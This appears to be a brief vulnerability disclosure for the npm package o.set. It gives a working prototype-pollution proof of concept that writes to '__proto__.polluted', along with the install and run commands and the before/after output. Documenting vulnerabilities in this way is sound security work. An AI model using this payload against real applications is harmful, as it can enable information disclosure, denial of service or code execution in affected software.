o.set
is vulnerable to Prototype Pollution
.
// poc.js
var o = require("o.set")
var obj = {};
console.log("Before: " + {}.polluted)
o(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
npm i o.set # install vulnerable package
node poc.js # run the PoC
Before: undefined
After: true
Prototype Pollution
leads to Information Disclosure/DoS/RCE.